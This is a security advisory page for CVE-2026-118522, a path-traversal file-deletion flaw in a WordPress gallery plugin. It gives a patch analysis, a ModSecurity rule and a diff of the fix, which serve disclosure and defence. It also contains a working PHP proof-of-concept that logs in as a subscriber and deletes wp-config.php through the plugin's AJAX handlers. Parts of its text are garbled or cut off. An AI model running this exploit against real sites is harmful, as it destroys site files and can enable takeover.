Published : November 19, 2026

CVE-2026-118522: Video & Photo Gallery for Ultimate Member <= 1.1.4 Authenticated (Subscriber+) Arbitrary File Deletion via 'videos[]' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 1.1.4
Patched Version 1.1.5
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-118522: The Video & Photo Gallery for Ultimate Member plugin (versions gallery_path . ‘/’ . $user_id . ‘/’ . $name;`), where `$name` is the `file_name` from the database. This path is then passed to `unlink()` without any canonicalization or validation against an allowed directory. The diff shows the patch adds `basename($name)` and `absint($user_id)` to `get_user_image_path()`, which strips directory components and prevents traversal.nnExploitation requires the attacker to have a valid account (Subscriber or higher) on a WordPress site with the vulnerable plugin installed. The attacker first sends a POST request to `/wp-admin/admin-ajax.php` with `action=um_gallery_add_videos`, a valid `album_id` owned by the attacker, and a `videos[]` parameter containing a path traversal payload, for example, `../../../../wp-config.php`. The handler stores this value in the database with type set to ‘hudl’ or ‘vimeo’ depending on the payload; however, the type must be set to bypass the early return in the patched version. In the vulnerable version, the type is derived from `um_gallery_get_video_type($video_url)`, which may return an empty string or ‘youtube’/’vimeo’ based on URL patterns. The attacker can craft a URL that passes as a valid video URL but contains a traversal path, such as `http://example.com/../../wp-config.php`. After successful insertion, the attacker sends another AJAX request to `/wp-admin/admin-ajax.php` with `action=sp_gallery_um_delete` (the `delete_item` handler) and the `id` of the stored item. The `um_gallery_delete_photo($id)` function is called, which retrieves the `file_name` and executes `unlink()` on the constructed path, deleting the target file. The diff shows the patched version adds `basename($name)` in `get_user_image_path()` and also restricts `videos[]` to only allow `youtube` and `vimeo` types after validating the URL with `esc_url_raw()`, and uses `wp_unslash()`.nnThe patch in version 1.1.5 addresses the vulnerability by sanitizing the `file_name` in `get_user_image_path()` with `basename()` (line 562) and converting `$user_id` with `absint()`. Additionally, the `um_gallery_add_videos()` function now validates that the video type is either ‘youtube’ or ‘vimeo’ and applies `esc_url_raw()` to the URL. The patch also adds in `get_user_image_path()` (line 562) `$name = basename($name);` which prevents traversal. Furthermore, the `delete_item` function now retrieves the `album_id` from the database and checks ownership, and the `um_gallery_add_videos()` handler ensures the `videos` array is an array and uses `esc_url_raw()`.nnAtomic Edge analysis confirms that successful exploitation allows an attacker to delete any file writable by the web server user. This includes `wp-config.php`, which can lead to remote code execution if the attacker can also upload a malicious file, or can be used to cause a denial of service. The vulnerability is particularly dangerous because it requires only a low-privileged account and can be executed remotely.”,
“poc_php”: “ $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n);ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$login_response = curl_exec($ch);nif (strpos($login_response, ‘login_error’) !== false) {n die(“Login failed. Check credentials.\n”);n}necho “Logged in successfully.\n”;nn// Step 2: Create an album (if needed) to get an album_id owned by the usern// For simplicity, assume album_id = 1 exists and belongs to the user. In practice, create one via um_gallery_ajax_create_album.n$album_id = 1;nn// Step 3: Add a video with path traversal payloadn$add_video_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$add_video_data = array(n ‘action’ => ‘um_gallery_add_videos’,n ‘album_id’ => $album_id,n ‘videos’ => array($target_file) // The traversal payloadn);ncurl_setopt($ch, CURLOPT_URL, $add_video_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($add_video_data));n$add_response = curl_exec($ch);n$add_json = json_decode($add_response, true);nif (empty($add_json[‘success’])) {n die(“Failed to add video: $add_response\n”);n}n// Extract the inserted photo ID (the response typically contains the new ID or we need to query)n// For this PoC, we assume the response includes the ID, or we fetch it via a separate request.n// In the vulnerable version, the response returns the inserted data.n$photo_id = $add_json[‘data’][‘id’] ?? null;nif (!$photo_id) {n die(“Could not determine photo ID. Response: $add_response\n”);n}necho “Video added with ID: $photo_id. File name stored as: $target_file\n”;nn// Step 4: Delete the photo, triggering file deletionn$delete_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$delete_data = array(n ‘action’ => ‘sp_gallery_um_delete’,n ‘id’ => $photo_id,n ‘album_id’ => $album_idn);ncurl_setopt($ch, CURLOPT_URL, $delete_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));n$delete_response = curl_exec($ch);necho “Deletion response: $delete_response\n”;nn// Check if the target file was deleted (by attempting to access it)n// For wp-config.php, accessing it directly should return 404 or empty after deletion.n$check_url = $target_url . ‘/’ . basename($target_file);ncurl_setopt($ch, CURLOPT_URL, $check_url);ncurl_setopt($ch, CURLOPT_NOBODY, true);ncurl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);nif ($http_code == 404 || $http_code == 403) {n echo “Target file appears to be deleted (HTTP $http_code).\n”;n} else {n echo “Target file still accessible (HTTP $http_code). Deletion may have failed.\n”;n}nncurl_close($ch);nunlink(‘cookies.txt’);n?>”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-118522nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261185,phase:2,deny,status:403,chain,msg:’CVE-2026-118522 via Video & Photo Gallery for Ultimate Member AJAX’,severity:’CRITICAL’,tag:’CVE-2026-118522′”n SecRule ARGS_POST:action “@streq um_gallery_add_videos” “chain”n SecRule ARGS_POST:videos “@rx (^|/)..(/|$)|(^|%2e%2e)(/|%2f|\|$)” “t:urlDecodeUni,t:normalizePath”
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gallery-for-ultimate-member/admin/templates/addons.php
+++ b/gallery-for-ultimate-member/admin/templates/addons.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 	$addons = array(
 		'activity'  => array(
 			'title'       => __( 'Activity Wall', 'gallery-for-ultimate-member' ),
--- a/gallery-for-ultimate-member/admin/templates/gallery-list.php
+++ b/gallery-for-ultimate-member/admin/templates/gallery-list.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 $page          = ! empty( $_REQUEST['page'] ) ? esc_attr( sanitize_text_field( wp_unslash( $_REQUEST['page'] ) ) ) : '';
 $wp_list_table = new UM_Gallery_Lite_List_Table();
 ?>
--- a/gallery-for-ultimate-member/admin/templates/gallery-view.php
+++ b/gallery-for-ultimate-member/admin/templates/gallery-view.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 if ( ! isset( $_GET['album_id'] ) ) {
 	echo __( 'No album selected. Go back and try again', 'gallery-for-ultimate-member' );
 	return;
--- a/gallery-for-ultimate-member/admin/templates/list-head.php
+++ b/gallery-for-ultimate-member/admin/templates/list-head.php
@@ -1,3 +1,8 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
 <div class="wrap">
 	<h2><?php esc_html_e( 'Albums', 'gallery-for-ultimate-member' ); ?>
 	<?php
@@ -18,7 +23,7 @@
 				foreach ( $users as $u => $user_id ) :
 					um_fetch_user( $user_id );
 					?>
-			<option value="<?php echo $user_id; ?>"><?php echo um_user( 'display_name' ); ?></option>
+			<option value="<?php echo absint( $user_id ); ?>"><?php echo esc_html( um_user( 'display_name' ) ); ?></option>
 					<?php
 					um_reset_user();
 endforeach;
--- a/gallery-for-ultimate-member/admin/templates/settings.php
+++ b/gallery-for-ultimate-member/admin/templates/settings.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 $this->gallery_admin_head();
 if ( 'license' == $this->active_tab ) {
 	echo '<form method="post" action="options.php">';
--- a/gallery-for-ultimate-member/admin/templates/tools.php
+++ b/gallery-for-ultimate-member/admin/templates/tools.php
@@ -1,4 +1,12 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+if ( ! current_user_can( 'manage_options' ) ) {
+	return;
+}
+
 global $wpdb;
 $charset_collate = ! empty( $wpdb->charset ) ? "DEFAULT CHARACTER SET $wpdb->charset" : '';
 $table_prefix    = $wpdb->prefix;
@@ -30,11 +38,11 @@
 $stats_users  = array_unique( $stats_users );


-if ( isset( $_GET['um_gallery'] ) && wp_verify_nonce( $_GET['um_gallery'], 'um_gallery_delete_db' ) ) {
+if ( isset( $_GET['um_gallery'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['um_gallery'] ) ), 'um_gallery_delete_db' ) ) {
 }

 // Fix Database with missing columns
-if ( isset( $_GET['um_gallery'] ) && wp_verify_nonce( $_GET['um_gallery'], 'um_gallery_db_fix' ) ) {
+if ( isset( $_GET['um_gallery'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['um_gallery'] ) ), 'um_gallery_db_fix' ) ) {
 	// check version and make edits to database
 	require_once ABSPATH . 'wp-admin/includes/upgrade.php';

--- a/gallery-for-ultimate-member/gallery-for-ultimate-member.php
+++ b/gallery-for-ultimate-member/gallery-for-ultimate-member.php
@@ -3,7 +3,7 @@
  * Plugin Name: User Gallery Lite for Ultimate Member
  * Plugin URI: https://suiteplugins.com/
  * Description: Allow your user to upload photos from their Ultimate Member profile
- * Version: 1.1.4
+ * Version: 1.1.5
  * Requires at least: 5.2
  * Requires PHP:      7.4
  * Author: SuitePlugins
@@ -24,7 +24,7 @@
 define( 'UM_GALLERY_LITE_URL', plugin_dir_url( __FILE__ ) );
 define( 'UM_GALLERY_LITE_PATH', plugin_dir_path( __FILE__ ) );
 define( 'UM_GALLERY_LITE_PLUGIN', plugin_basename( __FILE__ ) );
-define( 'UM_GALLERY_LITE_VERSION', '1.1.4' );
+define( 'UM_GALLERY_LITE_VERSION', '1.1.5' );
 require_once ABSPATH . 'wp-admin/includes/plugin.php';

 /**
@@ -487,47 +487,30 @@
 				}
 			}

-			if ( ! empty( $photo->type ) && 'hudl' == $photo->type ) {
-				$request = wp_remote_get( esc_url( $photo->file_name ) );
-				if ( is_wp_error( $request ) ) {
-					return false; // Bail early
-				}
-
-				$body = wp_remote_retrieve_body( $request );
-
-				$old_libxml_error = libxml_use_internal_errors( true );
-				$doc              = new DOMDocument();
-				$doc->loadHTML( $body );
-
-				libxml_use_internal_errors( $old_libxml_error );
-				$tags = $doc->getElementsByTagName( 'meta' );
-				if ( ! $tags || $tags->length === 0 ) {
-					return false;
+			// Hudl remote thumbnail fetch removed — stored URLs must not trigger SSRF.
+			if ( ! empty( $photo->type ) && 'hudl' === $photo->type ) {
+				return um_gallery_default_thumb();
+			}
+			if ( ! empty( $photo->type ) && 'vimeo' == $photo->type ) {
+				$video_id = 0;
+				if ( preg_match( '#vimeo.com/(?:video/)?(d+)#i', (string) $photo->file_name, $vimeo_match ) ) {
+					$video_id = absint( $vimeo_match[1] );
 				}
-				$meta_og_img = null;
-				foreach ( $tags as $meta ) {
-					// If the property attribute of the meta tag is og:image.
-					if ( $meta->getAttribute( 'property' ) == 'og:image' ) {
-						// Assign the value from content attribute to $meta_og_img.
-						$meta_og_img = $meta->getAttribute( 'content' );
-					}
+				if ( ! $video_id ) {
+					return um_gallery_default_thumb();
 				}
-
-				if ( $meta_og_img ) {
-					return $meta_og_img;
+				$video_thumbnail = wp_remote_get( 'https://vimeo.com/api/v2/video/' . $video_id . '.json' );
+				if ( is_wp_error( $video_thumbnail ) ) {
+					return um_gallery_default_thumb();
 				}
-			}
-			if ( ! empty( $photo->type ) && 'vimeo' == $photo->type ) {
-				$video_id        = explode( '/', $photo->file_name );
-				$video['id']     = $video_id[3];
-				$video_thumbnail = wp_remote_get( 'https://vimeo.com/api/v2/video/' . $video['id'] . '.json' );
-				if ( false === $video_thumbnail ) {
-					$video_thumbnail = 'null';
+				$video_body = json_decode( wp_remote_retrieve_body( $video_thumbnail ) );
+				if ( ! empty( $video_body[0]->thumbnail_large ) ) {
+					return esc_url_raw( $video_body[0]->thumbnail_large );
 				}
-				$video_body = json_decode( $video_thumbnail['body'] );
-				return $video_body[0]->thumbnail_large;
+				return um_gallery_default_thumb();
 			}
-			$image = $this->gallery_url_path . '/' . $user_id . '/' . $name;
+			$name  = basename( $name );
+			$image = $this->gallery_url_path . '/' . absint( $user_id ) . '/' . $name;

 			$use_cropped_image = um_gallery_use_cropped_images();
 			if ( $use_cropped_image && ! $force ) {
@@ -579,7 +562,9 @@
 				return;
 			}

-			$image = $this->gallery_path . '/' . $user_id . '/' . $name;
+			$user_id = absint( $user_id );
+			$name    = basename( $name );
+			$image   = $this->gallery_path . '/' . $user_id . '/' . $name;
 			if ( 'thumbnail' == $size ) {
 				$filetype = wp_check_filetype( $image );
 				$basename = basename( $image, '.' . $filetype['ext'] );
--- a/gallery-for-ultimate-member/includes/um-gallery-admin-list.php
+++ b/gallery-for-ultimate-member/includes/um-gallery-admin-list.php
@@ -53,19 +53,23 @@

 		$sql .= ' WHERE 1=1 ';
 		if ( ! empty( $_REQUEST['s'] ) ) {
-			$search_q = $wpdb->esc_like( sanitize_text_field( wp_unslash( $_REQUEST['s'] ) ) );
-			$search_q = '%' . $search_q . '%';
-			$sql     .= $wpdb->prepare( ' AND a.album_name LIKE "%s" ', $search_q );
+			$search_q = '%' . $wpdb->esc_like( sanitize_text_field( wp_unslash( $_REQUEST['s'] ) ) ) . '%';
+			$sql     .= $wpdb->prepare( ' AND a.album_name LIKE %s ', $search_q );
 		}

-		if ( ! empty( $_REQUEST['orderby'] ) ) {
-			$sql .= ' ORDER BY ' . esc_sql( sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) );
-			$sql .= ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) ) : ' ASC';
+		$allowed_orderby = array( 'album_name', 'creation_date', 'id', 'author' );
+		$orderby         = ! empty( $_REQUEST['orderby'] ) ? sanitize_key( wp_unslash( $_REQUEST['orderby'] ) ) : '';
+		$order           = ! empty( $_REQUEST['order'] ) ? strtoupper( sanitize_key( wp_unslash( $_REQUEST['order'] ) ) ) : 'ASC';
+		if ( ! in_array( $order, array( 'ASC', 'DESC' ), true ) ) {
+			$order = 'ASC';
+		}
+		if ( in_array( $orderby, $allowed_orderby, true ) ) {
+			$order_column = ( 'author' === $orderby ) ? 'u.display_name' : 'a.' . $orderby;
+			$sql         .= ' ORDER BY ' . $order_column . ' ' . $order;
 		}

 		$sql .= ' GROUP BY a.id ';
-		$sql .= " LIMIT $per_page";
-		$sql .= ' OFFSET ' . ( $page_number - 1 ) * $per_page;
+		$sql .= $wpdb->prepare( ' LIMIT %d OFFSET %d', absint( $per_page ), absint( ( $page_number - 1 ) * $per_page ) );

 		$result = $wpdb->get_results( $sql, 'ARRAY_A' );
 		return $result;
@@ -124,19 +128,15 @@

 		switch ( $column_name ) {
 			case 'album_image':
-				return '<a href="' . esc_url( um_gallery_pro_admin()->album_view_url() ) . '"><img src="' . um_gallery_get_album_feature_media_url( $album['id'] ) . '" style="height: 60px;"></a>';
-			break;
+				return '<a href="' . esc_url( um_gallery_pro_admin()->album_view_url() ) . '"><img src="' . esc_url( um_gallery_get_album_feature_media_url( $album['id'] ) ) . '" style="height: 60px;" alt=""></a>';
 			case 'album_name':
-				return '<a href="' . esc_url( um_gallery_pro_admin()->album_view_url() ) . '">' . $album['album_name'] . '</a>';
-			break;
+				return '<a href="' . esc_url( um_gallery_pro_admin()->album_view_url() ) . '">' . esc_html( $album['album_name'] ) . '</a>';
 			case 'author':
-				return $item[ $column_name ];
-			break;
+				return esc_html( $item[ $column_name ] );
 			case 'creation_date':
-				return $item[ $column_name ];
-			break;
+				return esc_html( $item[ $column_name ] );
 			default:
-				return print_r( $item, true ); // Show the whole array for troubleshooting purposes
+				return '';
 		}
 	}

@@ -163,7 +163,7 @@
 			'delete' => sprintf( '<a href="#" class="um-album-delete" data-type="album" data-album_id="%1s" data-nonce="%2s">' . __( 'Delete', 'gallery-for-ultimate-member' ) . '</a>', $item['id'], wp_create_nonce( 'um_gallery_pro_sec' ) ),
 		);

-		return sprintf( '<a href="%1$s">%2$s %3$s', esc_url( um_gallery_pro_admin()->album_view_url() ), $item['album_name'], $this->row_actions( $actions ) );
+		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( um_gallery_pro_admin()->album_view_url() ), esc_html( $item['album_name'] ), $this->row_actions( $actions ) );
 	}


@@ -266,39 +266,35 @@
 	}

 	public function process_bulk_action() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}

 		// Detect when a bulk action is being triggered...
 		if ( 'delete' === $this->current_action() ) {
-
-			// In our file that handles the request, verify the nonce.
-			$nonce = esc_attr( sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) );
+			$nonce = isset( $_REQUEST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) : '';

 			if ( ! wp_verify_nonce( $nonce, 'sp_delete_customer' ) ) {
-				die( 'Go get a life script kiddies' );
-			} else {
-				self::delete_customer( absint( $_GET['customer'] ) );
-
-						// esc_url_raw() is used to prevent converting ampersand in url to "#038;"
-						// add_query_arg() return the current url
-						wp_redirect( esc_url_raw( add_query_arg() ) );
-				exit;
+				wp_die( esc_html__( 'Invalid request.', 'gallery-for-ultimate-member' ) );
 			}
+
+			self::delete_customer( absint( $_GET['customer'] ) );
+			wp_safe_redirect( esc_url_raw( remove_query_arg( array( '_wpnonce', 'action', 'customer' ) ) ) );
+			exit;
 		}

 		// If the delete bulk action is triggered
-		if ( ( isset( $_POST['action'] ) && $_POST['action'] == 'bulk-delete' )
-			|| ( isset( $_POST['action2'] ) && $_POST['action2'] == 'bulk-delete' )
+		if ( ( isset( $_POST['action'] ) && 'bulk-delete' === $_POST['action'] )
+			|| ( isset( $_POST['action2'] ) && 'bulk-delete' === $_POST['action2'] )
 		) {
-			$delete_ids = esc_sql( sanitize_text_field( wp_unslash( $_POST['bulk-delete'] ) ) );
+			check_admin_referer( 'bulk-' . $this->_args['plural'] );
+			$delete_ids = isset( $_POST['bulk-delete'] ) ? array_map( 'absint', (array) wp_unslash( $_POST['bulk-delete'] ) ) : array();

-			// loop over the array of record IDs and delete them
-			foreach ( $delete_ids as $id ) {
+			foreach ( array_filter( $delete_ids ) as $id ) {
 				self::delete_customer( $id );
 			}

-			// esc_url_raw() is used to prevent converting ampersand in url to "#038;"
-				// add_query_arg() return the current url
-				wp_redirect( esc_url_raw( add_query_arg() ) );
+			wp_safe_redirect( esc_url_raw( remove_query_arg( array( 'action', 'action2', 'bulk-delete' ) ) ) );
 			exit;
 		}
 	}
--- a/gallery-for-ultimate-member/includes/um-gallery-admin.php
+++ b/gallery-for-ultimate-member/includes/um-gallery-admin.php
@@ -211,7 +211,10 @@
 	public function moderate_addon() {
 		$option = 'um_gallery_pro_addons';
 		if ( isset( $_POST['um_verify_addon_field'] ) ) {
-			$nonce = $_POST['um_verify_addon_field'];
+			if ( ! current_user_can( 'manage_options' ) ) {
+				return;
+			}
+			$nonce = sanitize_text_field( wp_unslash( $_POST['um_verify_addon_field'] ) );
 			if ( wp_verify_nonce( $nonce, 'um_verify_addon_admin' ) ) {
 				$current_addons = get_option( $option );
 				if ( empty( $current_addons ) ) {
@@ -240,6 +243,9 @@
 	 */
 	public function update_album() {
 		if ( isset( $_POST['um_verify_album_admin_field'] ) ) {
+			if ( ! current_user_can( 'manage_options' ) ) {
+				return;
+			}
 			$nonce = sanitize_text_field( wp_unslash( $_POST['um_verify_album_admin_field'] ) );
 			if ( wp_verify_nonce( $nonce, 'um_verify_album_admin' ) ) {
 				global $wpdb;
@@ -333,9 +339,11 @@
 	}

 	public function update_admin_search_url() {
-		// $doaction = $wp_list_table->current_action();
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
 		if ( ! empty( $_REQUEST['page'] ) && $this->key == $_REQUEST['page'] && ! empty( $_GET['_wp_http_referer'] ) ) {
-			wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), stripslashes( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) ) );
+			wp_safe_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
 			exit;
 		}
 	}
@@ -549,8 +557,13 @@
 	private function gallery_items( $album_id ) {
 		global $wpdb;
 		global $photo;
-		$query  = "SELECT a.* FROM {$wpdb->prefix}um_gallery AS a WHERE a.album_id='{$album_id}' ORDER BY a.id DESC";
-		$photos = $wpdb->get_results( $query );
+		$album_id = absint( $album_id );
+		$photos   = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT a.* FROM {$wpdb->prefix}um_gallery AS a WHERE a.album_id = %d ORDER BY a.id DESC",
+				$album_id
+			)
+		);
 		if ( ! empty( $photos ) ) :
 			echo '<div class="um-gallery-album-list">';
 			foreach ( $photos as $item ) :
--- a/gallery-for-ultimate-member/includes/um-gallery-ajax.php
+++ b/gallery-for-ultimate-member/includes/um-gallery-ajax.php
@@ -25,10 +25,7 @@
 		public function hooks() {
 			add_action( 'wp_ajax_um_gallery_photo_details', array( $this, 'um_gallery_photo_details' ) );
 			add_action( 'wp_ajax_um_gallery_admin_update_photo', array( $this, 'um_gallery_admin_update_photo' ) );
-
-			add_action( 'init', array( $this, 'um_gallery_suggest_tabs' ) );
-			// add_action( 'wp_ajax_um_gallery_suggest_tabs', array( $this, 'um_gallery_suggest_tabs' ) );
-			// add_action( 'wp_ajax_nopriv_um_gallery_suggest_tabs', array( $this, 'um_gallery_suggest_tabs' ) );
+			add_action( 'wp_ajax_um_gallery_suggest_tabs', array( $this, 'um_gallery_suggest_tabs' ) );

 			add_action( 'wp_ajax_um_gallery_album_update', array( $this, 'um_gallery_album_update' ) );
 			add_action( 'wp_ajax_um_gallery_delete_album', array( $this, 'um_gallery_ajax_delete_album' ) );
@@ -37,13 +34,8 @@
 			add_action( 'wp_ajax_um_gallery_get_album_item', array( $this, 'um_gallery_get_album_item' ) );
 			add_action( 'wp_ajax_um_gallery_photo_upload', array( $this, 'um_gallery_photo_upload' ) );
 			add_action( 'wp_ajax_um_gallery_add_videos', array( $this, 'um_gallery_add_videos' ) );
-			add_action( 'wp_ajax_um_photo_info', array( $this, 'um_gallery_photo_info' ) );
-			add_action( 'wp_ajax_nopriv_um_photo_info', array( $this, 'um_gallery_photo_info' ) );
 			add_action( 'wp_ajax_sp_gallery_um_delete', array( $this, 'delete_item' ) );
-			add_action( 'wp_ajax_um_gallery_fetch_remote_thumbnail', array( $this, 'um_gallery_fetch_remote_thumbnail' ) );
-
-			add_action( 'wp_ajax_um_gallery_get_more_photos', array( $this, 'um_gallery_get_more_photos' ) );
-			add_action( 'wp_ajax_nopriv_um_gallery_get_more_photos', array( $this, 'um_gallery_get_more_photos' ) );
+			add_action( 'wp_ajax_um_gallery_bulk_delete', array( $this, 'bulk_delete_items' ) );
 		}

 		/**
@@ -81,48 +73,33 @@
 			return ! empty( $album ) && (int) $album->user_id === get_current_user_id();
 		}

-		public function um_gallery_get_more_photos() {
-			$this->verify_request();
-			echo 1234;
-
-			exit;
-		}
 		public function um_gallery_suggest_tabs() {
-			if ( isset( $_GET['action'] ) && 'um_gallery_suggest_tabs' == $_GET['action'] ) {
-				global $wpdb;
+			$this->verify_request( true );

-				// get names of all taxonomy terms
-				$name = '%' . $wpdb->esc_like( stripslashes( $_GET['term'] ) ) . '%'; // escape for use in LIKE statement
-				$sql  = "SELECT term.term_id as id, term.name as post_title, term.slug as guid, tax.taxonomy FROM $wpdb->term_taxonomy tax
-						LEFT JOIN $wpdb->terms term ON term.term_id = tax.term_id WHERE 1 = 1
-						AND term.name LIKE %s
-						AND tax.taxonomy = 'um_gallery_tag'
-						ORDER BY tax.count DESC";
-
-				$sql     = $wpdb->prepare( $sql, $name );
-				$results = $wpdb->get_results( $sql );
-
-				// $results = array();
-
-				if ( count( $results ) > 0 ) {   // check if the result is empty
-					// copy the titles to a simple array
-					$titles = array();
-					foreach ( $results as $r ) {
-						/*
-						$titles[] =  array(
-							'label' => $r->id,
-							'value' => $r->post_title,
-						);*/
-						$titles[] = addslashes( $r->post_title );
-					}
-					echo json_encode( $titles );
-					exit;
-				} else {
-					// $message = "No results found";
-					// echo json_encode($message);
+			if ( ! current_user_can( 'edit_posts' ) && ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error();
+			}
+
+			global $wpdb;
+			$term = isset( $_GET['term'] ) ? sanitize_text_field( wp_unslash( $_GET['term'] ) ) : '';
+			if ( '' === $term ) {
+				wp_send_json( array() );
+			}
+
+			$name    = '%' . $wpdb->esc_like( $term ) . '%';
+			$sql     = "SELECT term.term_id as id, term.name as post_title, term.slug as guid, tax.taxonomy FROM {$wpdb->term_taxonomy} tax
+					LEFT JOIN {$wpdb->terms} term ON term.term_id = tax.term_id WHERE 1 = 1
+					AND term.name LIKE %s
+					AND tax.taxonomy = 'um_gallery_tag'
+					ORDER BY tax.count DESC";
+			$results = $wpdb->get_results( $wpdb->prepare( $sql, $name ) );
+			$titles  = array();
+			if ( ! empty( $results ) ) {
+				foreach ( $results as $r ) {
+					$titles[] = $r->post_title;
 				}
-				die();
 			}
+			wp_send_json( $titles );
 		}
 		public function um_gallery_admin_update_photo() {
 			check_ajax_referer( 'um-gallery-nonce', 'security' );
@@ -164,8 +141,9 @@
 			}

 			if ( um_gallery_pro_addon_enabled( 'tags' ) ) {
-				$tag_ids           = ! empty( $_POST['tax_input']['um_gallery_tag'] ) ? $_POST['tax_input']['um_gallery_tag'] : null;
-				$term_taxonomy_ids = wp_set_object_terms( $photo_id, $tag_ids, 'um_gallery_tag' );
+				$tag_ids = ! empty( $_POST['tax_input']['um_gallery_tag'] ) ? (array) wp_unslash( $_POST['tax_input']['um_gallery_tag'] ) : array();
+				$tag_ids = array_map( 'sanitize_text_field', $tag_ids );
+				wp_set_object_terms( $photo_id, $tag_ids, 'um_gallery_tag' );
 			}
 			wp_send_json_success( $results );
 		}
@@ -204,24 +182,28 @@
 			$this->verify_request( true );

 			$results  = array();
-			$album_id = (int) $_POST['album_id'];
+			$album_id = isset( $_POST['album_id'] ) ? absint( $_POST['album_id'] ) : 0;

-			if ( ! $this->user_owns_album( $album_id ) ) {
+			if ( ! $album_id || ! $this->user_owns_album( $album_id ) ) {
 				wp_send_json_error();
 			}

 			$user_id = get_current_user_id();
 			global $wpdb;
-			if ( ! empty( $_POST['videos'] ) ) {
+			if ( ! empty( $_POST['videos'] ) && is_array( $_POST['videos'] ) ) {
 				foreach ( $_POST['videos'] as $k => $video_url ) {
+					$video_url  = esc_url_raw( wp_unslash( $video_url ) );
 					$video_type = um_gallery_get_video_type( $video_url );
+					if ( empty( $video_type ) || ! in_array( $video_type, array( 'youtube', 'vimeo' ), true ) ) {
+						continue;
+					}
 					$wpdb->insert(
 						$wpdb->prefix . 'um_gallery',
 						array(
 							'album_id'    => $album_id,
-							'file_name'   => esc_url( $video_url ),
-							'upload_date' => date( 'Y-m-d H:i:s' ),
-							'type'        => esc_attr( $video_type ),
+							'file_name'   => $video_url,
+							'upload_date' => gmdate( 'Y-m-d H:i:s' ),
+							'type'        => $video_type,
 							'user_id'     => $user_id,
 							'status'      => 1,
 						),
@@ -273,26 +255,29 @@
 		}

 		public function um_gallery_get_album_item() {
-			$this->verify_request();
+			$this->verify_request( true );

 			global $album, $photo;
-			$album_id = (int) $_GET['album_id'];
+			$album_id = isset( $_GET['album_id'] ) ? absint( $_GET['album_id'] ) : 0;
 			$album    = um_gallery_album_by_id( $album_id );
-			$album    = $photo = $album;
+
+			if ( empty( $album ) || ! $this->user_owns_album( $album_id ) ) {
+				wp_send_json_error();
+			}
+
+			$album = $photo = $album;
 			?>
 			<div class="um-gallery-grid-item" id="um-album-<?php echo absint( $album->id ); ?>">
 				<div class="um-gallery-inner">
-				<div class="um-gallery-img"><a href="<?php echo um_gallery_album_url(); ?>"><img src="<?php echo um_gallery_get_album_feature_media_url( $album->id ); ?>"></a>
-				<?php if ( um_gallery()->is_owner() ) : ?>
+				<div class="um-gallery-img"><a href="<?php echo esc_url( um_gallery_album_url() ); ?>"><img src="<?php echo esc_url( um_gallery_get_album_feature_media_url( $album->id ) ); ?>"></a>
 					<div class="um-gallery-action">
 					<a href="#" class="um-gallery-form" data-id="<?php echo absint( $album->id ); ?>"><i class="um-faicon-pencil"></i></a>
 					<a href="#" class="um-delete-album" data-id="<?php echo absint( $album->id ); ?>"><i class="um-faicon-trash"></i></a>
 					</div>
-				<?php endif; ?>
 				</div>
 				<div class="um-gallery-info">
-					<div class="um-gallery-title"><a href="<?php echo um_gallery_album_url(); ?>"><?php echo esc_html( $album->album_name ); ?></a></div>
-					<div class="um-gallery-meta"><span class="um-gallery-count"><?php echo um_gallery_photos_count_text(); ?></span></div>
+					<div class="um-gallery-title"><a href="<?php echo esc_url( um_gallery_album_url() ); ?>"><?php echo esc_html( $album->album_name ); ?></a></div>
